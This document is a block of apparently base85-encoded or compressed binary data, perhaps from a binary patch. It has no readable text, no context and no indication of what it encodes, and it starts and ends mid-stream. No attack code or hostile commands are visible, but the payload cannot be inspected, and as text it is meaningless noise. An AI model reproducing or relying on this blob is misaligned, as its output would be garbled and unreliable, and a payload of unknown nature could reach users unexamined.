z`+o<$a>vltrMi)O(ad8ACvO-uWjR@@oaHc(%(k9XU#*I`z0Ye<6(2hl{qNZnC1^qs zg*Spt!h!MhHIiOX&~(so_mOuwDelwa14BL>z0#jQk)-^rrq0poKAi?o*sva~pSG{D z<*G*x(zMIGsR@kg0?MVSE=DIwf)SWqtlM}_8jieUN|x@4kI(i;>(Ux$8-sT&HspwJ z_G8&bH_{+1piPfN)0thI>licl+e@V2Mi0^89B!^tu&Bde7hy@#?s4~^&)WWI=8vud z+twH3o|0e&jc-24;Z_+haM{S64~?=I+CB|^Wz#p2Az;FyTQqJ!i15|-ggLVCA(J>_ zJoNx<@1973d-9RD6|^}lZ7wO2hr2mmVkVfN%%eNl#rvI^I|B2m%!ccSX7t;&6At~C zAP%oOQA*jQf^m%Q&x@G8<>s3{~A}rCHQy#dL^Fkco5`;h4(yUApqHwJe~8ClGnAXDT_xWua2%Ol^1wZ zdG4s%f}j4=r%wqY+60R(H|M%N5wkypt7BhH&SH>aKNo!_5JsISi`Sg9h?1Xv|2VLS z7cUZVd?mVKG2-JTrR-}8bbbZVg^#axUUW_`TC(u*f{02~g$YVr7`U}UuxW}(H9One zB`(q*w+}HjFzi<*aqmbGSM3^yUR=ePHJG2O;l6pRL>WOu6FL69)Rq$yM8aFDcUs_a zyvW@2|XVh zQZ2sQ{`z`nx*!qkx#wv7E|ubdhR0TrX%4r%c5<<5A_>14S6=(IZ0f+xc6MaWvq-Cq zGO*h$H!YQjw!^rD*p~!6;X(J`#j=T6F(tyyQj%X}im?}PMXCg1@c+Y{QYlcrZF8#i>=5GEUYqRl>(>nIwn}n*J^HH>GgEa1x2rIWCjvO1+}g~$dDE$7}VjD zRGG9J`w~U8*AX+_yCO1ZIfW_!e+KZ^SxpDjQywpqt3&4r4sE&aZieQZC5ILtBj^Upw+*@N#Ur}$v&YonQ-mUSLiAz_3(ny#{YmZ`yzii%I8 z4M)U|PfxT?`C6!GIoEsPN z;%T5Y*=E|sW*8Ksq^-|a&E!O49pjcaPy$ZUg3>QdMHe0)3p{K@dy-i5RZ5gJXKO4EPH>atz@p~MlK5|}icgMj0Y_l8##tSR zrO9JA*T?|Qpy1tNqb8Z-F;kn+G}VG)|>{675v@h~mlHLN!of3AYFlO+Z}a(Ywk-B4|jYK{Rqf);(2`T9;*mH0LK>nCZ;nPIGM8QzDu#>K@z#4qBF zG-W{c3h@yTE0sJa6lZ+MD@J1?{jKZbBWQvF^2Lkb1bQpSGw6HM9YY7w`5KT_=W68D zfmjVPqzn$j5Xf1a3``zPaP#th(QdvfY+S5NIw7yZ0afrnM<3W>-J+9M_Y3c+&K8qb zipB$0V26EnR%!27AhdXzP(oWq{gPDSd}l(`pOGyk70D<%I&nQbL6)4DSpu6;ld-k6 zrt$3p1t8s{^@A#7^ZS+B7A zM4Z6M8h?1u>m{4MPt|S2*UKDs{WkE;%5iU8ExqU1Y% z;}TJD6cWmkYliaPzNKa5%Cg>!!`Y z%L^AdfSYJhgTalM%6dGJXS42q4a@2LfnNBy%KO&5L1|%yJxy%{yCEQo`em>(?UHR%##_hKR}5P1F=nA(_osity}!*wERvikygL3Syr| z*OPW@j-d-OM;a`;maZiKKA7|f>5}u8K0J2v-~IxmYZx^vtTK_qd7b9tjB?SA#&ih_ z^;DCqU8FHFUrsCqpdXaIaV&O8nIZGD$84AL`_gffMo~P{)zL{~BOFwHh&kEu5)*Um zj#tI`sAFkG!k>ktth9H1U$aY2ymuhQWO4l-@A7LrtsC8XS%c9Z>8Tla_2O#{AZS)J z$fQ?$`Ph8ynoYCbqdG(b8BTz2Y@%rD$*i=3ZIp5*rsLC0zf7(c;R&hF%Xm0AOuoKw zYS#8HC4=JURx?k;mALI*ftxWlgze&Oia_0$5&cS3eb_@(t?%y{o8bm?(^xHIPD*8^ zEAfnp`DVjBy($zR8J@2E5TD5SVBZ-QqCmKBqMY{%sHgaDTb0N&D=g6Z(RB2q%om8S z8s=!eJbmka-cV@)qk^OfKO6GVB?v0v|9I_!#RAuJuXP(R-2VmfOw#GwJ5)G7quSlQ zG}3AF@nUmf^SMpO>b+-3tMtz&?_F=?C{|a~jvTDA2S+`xa<6wtXIJ^UBGMG#-wvis zART=+EnloQ>=?ri{1}PLp@}rOeT(4^)uV~u7pjyiC1oaI{hm`Utv8O5LOg;{I@T;@0verkl3r)4 zy85y-rEdIy?Y_=VA{u^kvcF`Uh;FLBcfE3>$apj^X*UL_h~OK@5Rqkc!T_I?E0>G~ zqEn%!dghv%;HS_Fw6Rmst2a?{tHu>S`s{-5x>JdaV9jQ%HKK;|N{EJ=At=Md8TOiF zN0+_S$zgjBR{cU>_aKTng^KscO)17a(Yc67T_1gfi;`O`xKqtJhtn-T+hcEmk|QQY zsp%t4^~Rd#?|kEB%U=^`vzUkvUK5unNk-2vcr9>ySrrm?IfkyEyTjFZB>+ECfn-O* z!mS(isvDoa)pwBZYdBNIuQd8zDe*I^a9ijx*#8tS_6VcFjNp`1hR?AFQDB_si0*VTwGVpMST_yzK|Bv zTWMkzTD7dwj@)2zv%^O{_!fu#N{!vWvc;feBcHxmpZMM%x z6u(graG13qAa#oXIhv+8#c8Ah94}$am&!OH96+*2sbH0F_d7JOP{4N14yM++yx_vd zt%r$OmcqY=Z92XAUpZ@8_vzge%>n_nQW&-Xl;aNR(k(5=%RBz*PM+UcUBBR7f8_r$fc*c0cBWat zhCezb+>3H8Dw->rdP*fIb&M*QQM239xqtjTo#@|On+0Cn+e1djig zBTxhnl*_jwDuZDf1mDc|-i~`<{7#rg396BN5OwIImC=wpeNy~u?<5bwm67|d0~f66 z<|*~F!XxaC^Da2Qeaa&wPKx6j0n_z#JAVpyh*gdVe8RK&T36+JP8T)WcqYSL{z*3F zuP%ys&ooM6Z_v}DV?}Z(Np+9d7U@_0z~o7S%BWvqR4)EDyr2_FFRm3o;DG z-b)71R?|;>!Q(wSIrxQ)`i*bMu1=p6aHlNeRPe%lqynR3+rS zvX!_n9{RtTw1nUjy{Kq)Lvl(+MeD_Pj#Tzf)p(7?? z%|Fp$f@wxl?}`5pIxP9Td;&ewtPffAw}65_K``}z4Ko>fd}Z-lYW+#E?74t|>q)RU zxq4|TWQlrqaS`T|OZKPL@*B+gF{bYUk9Ry!pDowLy%qjyJrnUL-)t}UsBJ3dH_^2} zePsj(e{K+c5Nd@QD?>d) z66}YTa?f=~E^qBk^9K9F>T^9Ic=F}YU!(k4#4Jy~j0>NN=n}xXBm@tY@kxh3ZympK z0CT37ee}3G7U$#o>I5eeS}%n!@Qf76p_vp88!0Qp7?BQgiTkKWH0c6CZJ>lwS$Yo> zvX=9V8R+X%Y4{y+p96tAjT1@oC|o2R`FfgsMp0=aheiOEYW>`nja~8N=~j&4)n|%8 zBC;c+PPZ0bQ(1Vc2hG!ls&VpfNVbG6^?*Eh1pf-8i7wFs=bKS;6!RGIdG89D_y&OM zQK}UAM57D=tJFQ{(dZvOXCZ@&e8K5Vp(dvr65VFt3*cJGRFA^Kn;A{Z+NCNy-YZel zGpi0Q%L4RHr)oJra^3VGL%Ku;$ftjW*^h|i68MOBUrs+nE|E)c#H01B7B*NB^gTuDqGMG1^+%x~zz8tQdd?@L8lGxab;8s+*pzz_g@ zFuBYtwG48f1xG}A@!$-7r=G+)0a@2Z2L`>E7;6cCLj!X+Ik6>~oA?pGvHM#f$=q`x za7zwLchx#s|9Nm7cRuQNgrr$<=N`$vBm)l>^*LCofd(>d26$F5dBvX%jQNhKw==nO z55QT^M!wo+6xI=mCO}@+p%#p8ab|b}lzLtc? z`5=Lb-6{ddp8P_XIo|O(FVPI$9pSp>h&lE|lhx(x%2*Wxc$T2%=4L;?b+xI7T2O<- z(Tx7dRv(?ciEIMkCb(4lMVxF;pw_uu0X|Z$cp2QUxMJ|@d3C9T#*V}OBzvVC2@=@R zFJNFm_-iU4#rM85jF9xbula?}{OO*a`6$@`&E+14zUU7RSKk((yP)yWh_v~vL0MHv z6R0R|;K)CQ(|ZE|ASr`NfpC^_+a(6DU->gC^>+|Z3>{R)Re|stxxB`AqoH)ZCc=Y} zt@h4N$s_2OC(+NeAZE0>4Pcxz-NZ7H;Q25hzJb%XczE4)vCF3bl$>KoTXNOb^Dfa0 zIAMX>jQT~NOlLj=*wjw@_QoQ8 zsAj#zCYi*^`v(JA8x|y*wOXi*RpFuU(7Owld^RZI^hp5Cj0kP7_()~692I@iMdV#D z{{#WySIPww*HzTe&~V)5`1;LT4DvDwy)Uth+Mqxt zX_UoCA>$p6=^P{@=hGOr-N|Lqs#^I$qCFCO@t!ak(DGgze6& z^v2g#SF|XGNK3@9CVp(664j;;yNtP$Dw}oSVMw)JtW;Gi)uIF1imTjVv~|^hrc{GR zp~NwZj9Co3dM0KM={g#cW#`>nKmvt$neJd|EVN!z7tF?EQ+X6hFtIadz8{S{Yvr~z zqHZOq)w|L2R!A&N-0_~T!k`0VD-7Ih0+Q8&3LMGu!O4Rk!ix3HcVbxp!rrNGrI8;K z!O2fQI-!KaJZAI-0ziG4WL+Dx)n+|uJQ|18%1TlR5`@0-StZWR(W(6QYV}U&iP_?j z(qC{gVrv$yX#7zgsGvG^m=tvCp7hd-`lUjOav9ueK*XA1`s!+BH2&l;3q5CWtUA~9 z!Z|MSB_{Sz)y)-6Bx6%HnqIwuL1rO~;Oo}vI=c<=q4+04#5F)?V7T zE}yhpegnXn8AAh`7<}(*X5+Js#K4Z@5#gZTX|aR3MhOc#&m(R=#5(XeZyc05FDwCRf0K`Ar~9CUgA4Bis(b7Hs*%Olps(lO!b2nF zG437>&BOZ2SUwEf0wk`HdCemeg3VwU8nL|X&Q(=#t!3)Uk}%c1blCv8b4gebV?*z&z*pax!7!g*9CfVlrbMi`;NPhd3!Y&WTE~9d)bi7v#b} zB8q#`pM2O~v)}A5AmwhUno7$rDRT8=OsTTN?X&LG<7()fap{Ie0vKYIk2p71U!$uV zTw}A}`rK*saeBASV@6W}wB!PXQh|I5DoPhP;r5WvPi<~~rhN)yHWRc-jMmiIXjOD) zpT!2-i?1o(aD5>h+Jzy1Y(6rRHQ2u_s5C$2u<*s5hy)f_Epzq8r5JD_I( zjrV#?hb*)>g9lJhPo38;*fzDxq7AKg`>kJ3$&6TASw>Ai*8-po^s+P@@R9g zux_&RFg-&>Re(GtjsL`NEub#WmzlA#&*hR%*iak7-pb}XS4eYZWk5WA zcy}=L>Z;*ru^|=-IJ41oiDYp3R6GoOKjCn^qNH&)D|r85jcKO#Q&l?^xkPp0MNd-I z7Q#!^XAmHH8<(HqCIrBb`hpZ+sz?ZZY+HSbDH8Pyq@|#t(bDNHpimMr@4eJidD)a} z@u~5H?=1_^t=-jmRbtH%>N%qEbO#Wa9EFp+pkp?*UAHtZ1kJ z*k63H+ESk7#$UmUQ@~N8-AvovJMaHv@2rC2jMgZb2If?(Qy)LkA0P z!AWp;NRR-*o#5KI1#djKd*d)ad+MAz`_$|+`)+RLj%uo!X7#_;`s8`v?@%p(^ZVuD z?V@=hv`Z>Vwhf_ceWjyo*QbJ@B74=Ru_%)9_`9&jZcPLQNS@rU{F=bdRSVCL=LGxp?&$fv zpp~(`IT*b5*RHN+soKR1K*nT)GTBUmhO*mc32Cc6FKlc?Ue{^UO~%(jmSYTCUi`|g zxnvIdcuoY2DMIj8$WI3%BK3(%ZO&yS<@e6GYxXJF9gK;%k7}_Bui}4oU~N?1 z0X4|pvIehxh1;)dG{JM9=+LRzu5q5v)JwDBbrw)eIO%W=)hy6o=UgTauPkr=qiivh z;m25Fq8xL+H*e4iw9>9^CT6&Ak>*`S1>K4sUCmj~LwJ?^{90LU@qiur(xhe%p#Bnp zKFvJz7Wy#HTQ|LAk_!?{P|9(p7X-9oEZxpf+%^If z*wrxIW?tXQ|tP~`UVq(o~JyS4$nNdH~Gjz;H#`h1CM={T7ZgSO$N3qUV&BFt{G=`yZl@38_5GXIb+TPyf@F5Q5^J+yLpo||_l;c$ znmJoj8qeZ(7_(4Unfst;B^~x=!j$tnV>;@54#c3+R3cxsr)f%e6d-%k|Gq|ba~)WE z;QqAGKAA#DGGj12$VTC8VY?6+I+QfrkmS6QEr!|FLadjS#zhHPHW+ppQ@VCK1rBdG z4cyie>LTLcWJ$MBt1?70JQ6w#!;m_&xZMWA+R}0n6kVw^?b*5$yq`tf0kzW8Mn<3L z>+P2WOpr(;2VEw=0Rel_aJ)82)zR7h%;E6Rqf3+T)sL6!04`GH_h>}VZTSX*JAEm9 zzmGQW**Z?U+Sng&*>AbWGdo=safZD%OFF7^c4BD*COVC*bSzS(F~5oMu*q!a#guAW zDZ^^^u_cw;v_{lxTP}mR;j{aw`$ zg^+YjhLURTUH)iegjEDo@{d@;=ihdWr$jiC@{iMGk^!Z zn*B!!cKOzDR$LBu11@Cz$CUk;eCxfZPZgP{W--2mUU7HT$evUl=s#G1i?SECexyS5 zIL<;zr!;7T#iLURCTBuPrq9m?Qbx+9%k=w4+gxd2jkdi2YV-?Lf#p$u0Ny@9@mC7S z8uAy&%o9+qF8%%T^rC%nUt_;7)vH(E68fQ#E##vK^tM>Bb+?$cbHqh!h5=xP5*76; zfUvTB4G(u?fSJ}ChAOrsNPG2?ndbp;?MAYZuLjPmijO-?`g8exgMW(T>}h6&)GlSr zS=qGbFXw$dc6zq*?X$}`Y=-j8{?ZCa<6Jy5Wkb$-!m3}OzoFD?yB8t<_3-7c+>q?T zKH>feNal2}B^s>V-o|%D-N@kgsHrMHV!8X+`e>3~g%>TXDYqEi_X^&>SpNm$l3V~d zyBFK5HEXM+g1o8#K|ni{9IXv3iSY#RCphB${MBYMBSbi;S#qZh!R`!57*Bc^owBgx z0&&0yg>voQGf-2urs_w zKJ|kxd#zHVA>ZKbc5I+IEaEqVK=q;9F{b=4O6}a`@e6{{I@a*w=Pq`JPBU8`uv7P( z`#ndL8|m{%Y`eil70oP3d*lF(!B7k9UmO3?{#+I7CfA* zTq6=OLyzzuNM>ZDk;PA@sE25Q-?mgzo}LmU!{0UA*W<6fP?~w(%DRX1bXIE2Ez7bH(aJMFcfnj z=KaUXIbPqCF4e$DbYpA~_2tVmn!+y#-Nw}C%h=kBi5DF&i_>sbYOK)o@ZZGgk^43@ zK2aXVD(IcFB|CVN0=?tS{q7$yPdEDr{jR47i9eVn4BS!yfSa-Lci2KuCB~+Xzy$Z% z95#@7gpnIGh8CZ2K+S8j3u!3)stkwARidF0Q5BIc2fe5OPDJfF`(K^1ju#R}iuh1sCf+uAVOoq>mib;0g)iijTNKuf|YwBECX8=U23$mY%nt^CF z1qULR@P4!Eu?NEgw0z5%XR-K#%U7oYS*e(c# zRXNSVQf*BBpfuth&w>-JLqb;hW!{11w>si$f&~GRcZe^L$>!T=jvYG8kVAeNEt3Os z8mH5pMpm=K<{oZ;0DAhw&-{J$g8i5}P>T2kqgp{k zY|O%M^S&|m)1Hv>$?hjAf;+lUsHG8w)?6Bxd!mYl=#u3tdeAzx)QZh>bAGtX_Bkw9 zV7CGl`)lo1@yWf|i;G%jxK%Wd{(Q^UvupFq^3zR{at4dnAAx{K0hM2S)?>w=fqPBA zek7iQDJMIPI!7O;3(DYcdRWpw&_FT)AnTKe(f};2=FQFw8%gErhx3GKvYkt_Hc!fj zNT4e(xgGu~_qy!AxiFG$JJwsW=jX$Nuo|^8QAtH6{=f-Luo_9YKxueW;?n|d8@jd% zU+~kS=kvS?=SLw*pE58O z4I)1tq_*@A90^b5fDE0t0;xBOLhBtFvdpX``g+9Q52B@AAcCWAQwEp-VTp27U?}Eb z4Lx{D6#ejPWVi--Z}ggHvgs4ofA_=Bh{Gc=rud<9Ldj#LZQ}thFs2305-Y7;# z!19I>w*L-!lHbLqn8SFha)dL*iWNLN!=qd4U?oS!j1K~d$z%O=@k7viWny#&6^98~ zyN;Yj8LV8fY>Nd11|}*;8Kh-4!jtUc6u#C-U(rfiNX%D)Lk8Y&Ja5&=xbVo8!aQj} zcnWb|{lp2p9eCWG(%AU?nY#isKD|HN;aiovyzz_7BzAhgo=0d4P?f2{(RvlPAB>{? zYZkBJ^AwY_(8QJs3Lf`nj^kjRD4+z@R*ix(JNG1w1?pW~8Z{A1KA(aaC9`k;$c@h5 zI73*+v-cDTbi>BcvY>sqaOZ@~CfDM+t&(UrT3BPc)N4pAdsSeiK4i&Lq0!~207?UO z8p>)?e*2})YFd1E$_ob3d5N_Pp3gIbPE7MsO#J1H`r^n{UtN9&uX`Pv_L&-O?ZwoS zB4!&|a&(hvCWgb&U(f{U+?{w2$+M(*k4C_REeahKRb`DKEDq`zkn6SjBVe0Xo0^Qv zwBqz3A&Y|MLhDTRNybdbaq37( z-c=eJ3v;)>P`~AbWX{P8Zk8%PU~(0-)2g7Pzb;VB;)Sj9i`eX!>x^rT7Gw+$DsxNO zez4e73dN*w)Z_N18y>kj;G$c%eaI-X0W*pk{k%*YyT4rCb1e(3r8ZK`vU-HVf85Hl zRc2@JIaU#aR)0n6W@4pRlJI}SKefmR1dr$eSN^ylrb_Jfjd;7f-r275Nx=8w^KmI(99V`Oda-y zcbTBcV5KN{{e86df`91oDM7LMvc2DXR@Qs;mIiQ}*m9!wcQKyV5_)T$Uvqmb!N1vx zI-?fd`0Er@^w-ZKr~7*r3bMTQgLNfs7JtT{uG_+8sp={2l8s#Dx}d{=i1@<%Pq!oY zD4A3abIJ#w{NV2H?t!FXlF2BKpCwZ5Q^t_F5J(k#PtT+)_NL|+E0#Lb8g?AxxGR7r zH$r+n<1j{R6pxyjGx;x7mngAWiWiLLT)BB%OQ--xvChzra6CK~LCQZ6jnJD3Bne9Z zc%JIqBo^ar;x|$vGDM4sGPWAM>kNLy;E0zlq>SnQ!Z=nZJmQ#q%8)TC3#kc0+TD06 z`2i#YWUA+;->Q?oi_LEPGvDCuGeAS$qL^cs#$dzVfO5!aW>=P48hOu2tKPwOC4|F@ zXMcyaK8qzj|4AZs#LaRC8UO`xx?_~ye{SKIT-ks03j6+va_8uqpB@1u6dg7B_!y zSx-B9DGYf&lnPy&oVFq6)s9|WO%*dfZyjbJK91UYzh+s2Pii80K7O2b3w6-DzWF=7SBH zd+jpq$?;F88((d;V-+LlGZ(BR-)M2o69{)3h#zL zg#FkTfv6C)Apx5`TlI{fA7h?vd5mvC>USY9RD}=^@eJ2r$f0; z`g*cpllT4b<-i(Y6p=P)rq^N)O0Qim7Ys50Ce zHdz_qU>HS<%#V*Pgd@tj>X)K!EV4`j2(9`#r#!f4`OLVueDf1OA1oLK>$Atd9jmjt z4iUJYjOTD0LGKwetP%8E4ftTQAYXa6zNP^*aBw)IH@WI55wrqp=_x+NK)fC+6Ft4_ zEmVJ5A%x-scX3090caYLl$P!|p@**=<;N=}pD=T2Y;}jS?n^*AF8s*sT#zJI$c~N`U!d z1eD1WWDXtC58~#g4MG4eA=PieOj3ag)$!_X%YP?}I0tOUG_tT&i~%k;k%)c&Tun)k z65Oj$`E~sDq-nB=nOPp-G~xNJ4=H8n?{(COf9*S1r!QqW$o1h}*Snj+P&utRfrMCA z%YKa|cKWd&6&2c{3Zf|U0=6TfUt0+?ZItx9&mNGZ3Z*eeZUiQ2l<0uQ!8t$~MUX`> z0fqwFg*7(^!{6${Oap>twcr6;FwaK#nGbNtV>7wnlPq4&#n;#09 z5*!BPZ}I%&(=l|G!1nS88YkpqOkR2&-a4j@3BJxW05k1%qf(h)g*gh*!)&kuD#nyU zq(*{hd;YPNE=w`q0O{=|49rdC-Oe~QG)uT9%k<~dgJ&^6t*kxF zcHvlJXR5kdT+&c+m3_+&;q|yhOI?xM>EIy5 zU&;SA77NHiw1G}Rp=-q9Qnga!<$l4)N0HZGD%T2r^|0t`Uwol!U$_omudW?ro_dpT z-_OrF(5RGDe44Hxx#~KyPh17=#k5|i3C6y)=F;Bd z@yRFUcU0V+E@U#guTeUr*VE_!;3NBLi<5$!kCI&lTXfI>B>7%61NCfT6r|p;xY%?F z>m)@I7KgoxC}iL?Ck6W62-?6La52*tWUH^Df`f(@JlTE6QSCigT%r@GefOHq8pTFOjnr# zj;Ac=#tJUrW#f|Sa7=NO(6a$Z{sKAj$HGtu`Pzr%uXB3rGtAF8#0nR z1}9@n**X23Xkl*#Lyo|b?h~uk6J81^X98}{nL|vlpEIQG2Df8p&i^VAS0ebfLxIRAVDMXqqve{_6!XU znH7MLZ8&x%r<*_ZFao<)djOZ|(J9QVb6g0{ypVmCfGm3NI$}Iikg{kB-I_<$)jpv0 zr)JizQ`rIuJ!mUTa3NSa0&t2fw{Io%T<}Jec|i!S&1`+EX=^?Gmus$eP0IS%3GZa^ zkj_?JTfrG|qZr>(|~< zV{yREBWJ-VL;7F&nqfep^MsXTVgv`9)mUa2`6HjGph?|C7zDYJvfF(Dc#gTlE<`%o zP3@r0oC5a!RQ3D7z+e7VGg9kpJDlYyn%_HpE^qqfIb zx5jhLt&MiQ-)g;e40a!arUFBwq#uvT2jIVN36DRyCewwLNkg$M;Ut>pe9H(32n-a` zyw$wy>>^J-DOkdH->sGO2yPmEw75i|m)2LRKDFa7Q7zLcKXB$qzTG*CSgcjI^pJYL zhneX~kMpMat!ugVMdeM|NGFw8!vu-jvEe$-1v%={N~6%-#f-2`d_uL5lG2-n4MD-j ztnmX14;NaPjgs{wT8$tI`uO;`(;8HPi^Y)|mPQQvl3PcE@t3{`CR$GbE8 zui;9{u9D$(aG$%smr1`fpNgN*+eX&z=4VT;GdbY(@-|HAtP16M0jRvr@Hso+@gsFc zYqu_L1dP_?N(IW&r`|QuAwOE8O`6!F#f{unvI7w-iyeN5o&zP-74PGttO^9Hrj{G@ zID@u*m4hmv(uk;p7crde-khZC%=`JOPz-p+%mpQTLpo#=4>i;Al$B~Pi>XH6-1-uW zmNZqClG{u5b{AIOWD*P%SCVlHY`akk!`H@V3~e_Z1d4lP>|Q|@8}qxN-2;FwVaft$ zO+Z9SqN|eiQlqSJTDRhTL?jLG8WGy~Y}i#-v@j!U8&D^c%?)AY6-X1Ymz`XDc)==^ z%y4T9UAntFQ>;JZkg9u8r|YL?c}6EyH>5HLNRI%~ue0r-nzI?9K>5P33n|&l6*-G` zAQc02_5KqjnGREu<1_Q4q1m@a29-x^j{31p!{ikto@YGMcQ%uSEVuCcGCRawmQ5mF zJ-y4sZ5|`{2c0Qyzok~Wfh1<;Cu0jR8PI|P8c#MDI-IP)nn9hv|DgYFU~(5(Nd-NE zuC?pe9<6mp1s-BCcUd6*q!qU~L`=kJ)fiW}HElOfLV_#`X@{z+Rnx zf2Zm%=>g|>{a`8XiKr8Tnk}*sQ7#s%75fUM;u-H>u9M)g;GpMGb%2-)P~I2rKNlb4 zb0+G4DW}EY<&R1*($*n9oN9&k10}1_d6QYy#FcWW*0bfeXY$D%FEff5n|Rm23m-4QO7)vBf{r%A`MTzo8 zdz<5k;^iUP)EB()HSO2Eh*hcft1L>5J=>Y_+F`vq-GML8>mb^W=Peb+OO;|IPeuXs z&F(eEJ9bXd!LjUXKYxh`5$@p-zhh(jn5g0P+eT$-Xzn{uL-a*m_PrUp-Zdx$A1^$d z7ME|prff00sMdV66G%BfRqYnXj8Wh-t7=yqm+u)GfBZ5pG&(We2RzYJsYfUjyg;9q zKoF_KafFS~xw2tTzJ`m_b?h&q_>*Z^LTEi`oNx5rR)>wlO0_tB+#`2v0ae1so~si z(rcSjmFW4BIi6GMLlN!h-{gUOy8cVQFLzf>=t16M*wC1y={xE1+GHl3cfr`^%fg*rC`^{4I@{d%=F<@KRs$!cxo0(WHG}qbzU9y} ztI*eU7l2@DicD(_S$yt~Ez!-A<*pEokEe@@^C!;Em(ZI-Xk8SPu+K7H5+hG6v|gMw z2No?=*#NRS4#Qs^jD!$gLvJJiOC9r$rX!m4HDfW;Y+tcSC@z!5o|Pr9A`(t8n~-S0 z@cvj??FXBy99=hu5AgQaFyDov5yd&LDX_pN=o0ePZBu44Ulmt{*CABQV$fo9KClI( zm!&&Cy{O;oi`Q1JgQQgBSDnKQO9p{Ven#@AVPS1APt;ZFjjj#b!M`kie6Sq#)zU0| z5Fh5d(Dwt31#K`0`dfw8c!t}-UYsZCxudYDr4|Qpf(XXUvE_@ zNbgfbkL63lEm?H?LI&k1JE;xZ%3QPNw=j52OEX2mKV)hMV<*B{N&m)CiVp<ErO9&|Qt!Q#Z2Tj&WHLNVq zT3Ys-wufXMO3#)aScyi|5#r(PogYC1cDGD;K;qoD)ph4OE)AIE4gUWA^h;kaJA_PD z>1(jypi388ak7hU;4%X!4<9NFZZdTn@^_2cnyn`EUP=s%$3;95DV zqkTTMs8E6iduttOn74TAHCV<1?>&$a$B$hL(0SpOcGI9S#&92Yhbi_Lvlp7JT< z{RvMkx`$h|NqEkpRUiFzpqTD%pL5=8=f-Mg z_>r?YR;kcngaRAqh#Q==c#V>?Zb|3)2jFs?xEW%T9(LxuAy=yRtKMLrm|m<^xxKDP zO*d)uDn zO%0pBf*ya~Z)*GBO_OtJ@&Luo1Nfc<7UVv8Gpr9DWYfM+F6)s4?2wC; znKnG?56RJ+kfU$P+pZ0<$-Ya+iq<)oFD#}{w^8ta7Uy@_Dec7W(mVgLJB4iMd0f&h zNfad12zbO<`(PZ60z({A1+53<`TQPoPA&dy<^0`W0Nj-}bkCWi?ZBcaz2mtdC?h;W zyZu@)Kg~x>CgFcp3SefmzVn@%u*P&)3sHY>rxW4n(Tv-Gj@6aS=Y@691T z>qkX5z=%l5?)ye){@)k3$06=PKCj{G0!j5|ZxQyr#ZfXw+pZWSwC~Zq4|B@u4kO%;Fe5X;A#eU?SMr$2EU`D;|$Cwh_&Am?M^O~yyT z=&K1R%||>l#cdcyskmRZph)PUL_h<+dgk`O`P2^SxL;(mw){;@b3Rb;Panv^nd)}|G)eHaan*D{~xW) z%Hu2u>$vdSVI;-#owus_3=CljSok}HCE2qdaX_+1ltIY2xNlMOcyLAS-x1oq4SV~_ z6&DdPV7>kgGTR_gU>QyXY3Fc^t* zB?j`X+`lWv#E0;`{MUQqpSREoB5-tgA*`NF|MySuFV&gjNzVW7K161D3#5=l*h2OS z|Nq1Pw?+HM%I`h%JKM}&Z;B)_AI)lU+8iS8{lTD`7p7jSEAfWQ?)}B?lnc}7zq@us zJiuxTLH&BZC03nXW;&e>59hg->H_}ZD!p@05z1UEIJCsDMbbvSoDwo$=X!^U_D|2~ zzdkheo1cPrVy}z}gQicJ0yol9RF%^$Z^G)&ma!;b%8|@CSdSN^XCw*N5jVs#raZ?DC+=$iI)|r(e=9ARk;+G7*&Gr92we)J_NFCZ0?@`QG%L;L-NCBiuWk8{8%%YGCc& zjru)MSrg9%`2Ng?$`r-XI4`y?Xg)LX9Ol_u-z~NQj8`=De}O#rQ{+=`0)~t#v=uXW z0UzTJNqu3Is!guL3ro`*w<}fqT}sqmoge0EZR^z=a+(D$7t~J0x1{vNFYj-$q$M}S zug|Lq0$i6pdLg)PI6g9HmVDpkEZr(DpXpnn?An+tnqWETlMYYTvu7VQiQsO2*qrC^ zf|FkF9R)fa)Vcuvv~1R6D>tMkCtQS$qUR?YT1zn}cm*=L1Fzd)wgbIitF5=>ciHK| zPQrehzfi^EE7`1*tyAY%TWF2SZeSa~zX%0mkWrTEawl&!3hby(>76a%cw2Th;1_8O zwk@w+3fm>Es#M0kreNloEVqP-Cjs)_J~6~faNNeC#F3s`q2__?&gszFsdVp4=h|x~ z9)*XkY`^u~XyN$OYQtC~-#OZ%{@j*UXV-%zst!sV)gseiZ}9T^&!fZTo~xB_s@Vp#sL-h#0_s#WCo1>!m2l*i_rsjvwz_&xy88>yZ(7%tixWZ@i+3f;CGoQ-ym z%s07Z=jBDlZ!os1j}A*wcqre%cMcs}5=laccJR&XS=szQ3T`1yVZ^)n%MdSSwLRSE z-C&?3>cQ#~5bnL6|4MycmUYKHlJ)EcOhMRy&{u%*;C(II{~9FnQ=vajHj%;bShF*m zjm@eMz^A2a^RI__2xV^{0|G}(kWS~l`%QSRxSm42_s7VuBCT%s%0bk2v(hx;1}++< zqVxd0_Q%h-u$`UL(Yq1%nx*^s%b_ST&_<~TT0;C4?r(9ZWkDkf?|V*e+nkas)5LB` zEUnJ>q#=5~4-(L5ISs|Gj|SO355Z1VL0A}?kS{o|lVfOGyj&9%qlNN5A&v9em;q$* zBH+Sz!BewU-u4ie*Zq1UhP~+Jav%;T1Zqc&hew|;_jp9@_S?xkU%S#&auG4xaZb&w z*B+GbHoBEB8q8=mrDeO`Gv`cAPpMn>d(&pkGXvUbI3Atu7bnuO>a;T2)@>9^d=MV- zh8ZxnO_=`#0Xvcl6qeVt9g%}aXvsKriqFHhadJi%6{O>EXmiUU`SFaUlB{Kp4b z7AQ=^y;u}3W@(tv)904{DFb88FZ)dr@ zpytz*{y=iu!WszIeBw{_^K_Y4#S^s3ijx_WXG?MUaYC*ELCBZMNz7^ehk{--{M;&O zi<9ah!5FH4)fIOyJ`}x;AQN;_2mFv(Ds$r#OIKR0`|^f7vMZk7h0wxdzDAmwzD%DD z_~}~kRj|e5jF6c04Lt_QWU`@PRy>0S!{A18a=aYNZ}G*=u^(Ln(0Ze`gFA!awsH2@ zCu6)?`Uz`=9G*siOp__atC;RQ%7dgQ?bZk0KL2Kdkp0Qd7l8)5aLfC9qx~rh8$H+_ zi(5_Kb0>edE&O7@el3IK_SlrHt9jea7jN}gPtg51=3~25TGIsy_vUY_y?&!Oq7pQ* z%xg$1{)?Z%MOc9UGEl8YO`@bky5mPyPkCLzO6|~!g8yoqkWPsz$CQR%NOyPgw`^q> z>L~eQ)B07A%y-4U7r)5QQ9*yey?N3nrakL(mgLD&6nu=*Sx0DCI}aiz1OA8w6v*-@ zk#IG)SuP?0UeQAJ?;h=?FTYuwgxzr+>&f}^=X7ZExqdy@rk@ji3l!3L0b-6tyFCmXVQgXQ=JXa+zM8|7( 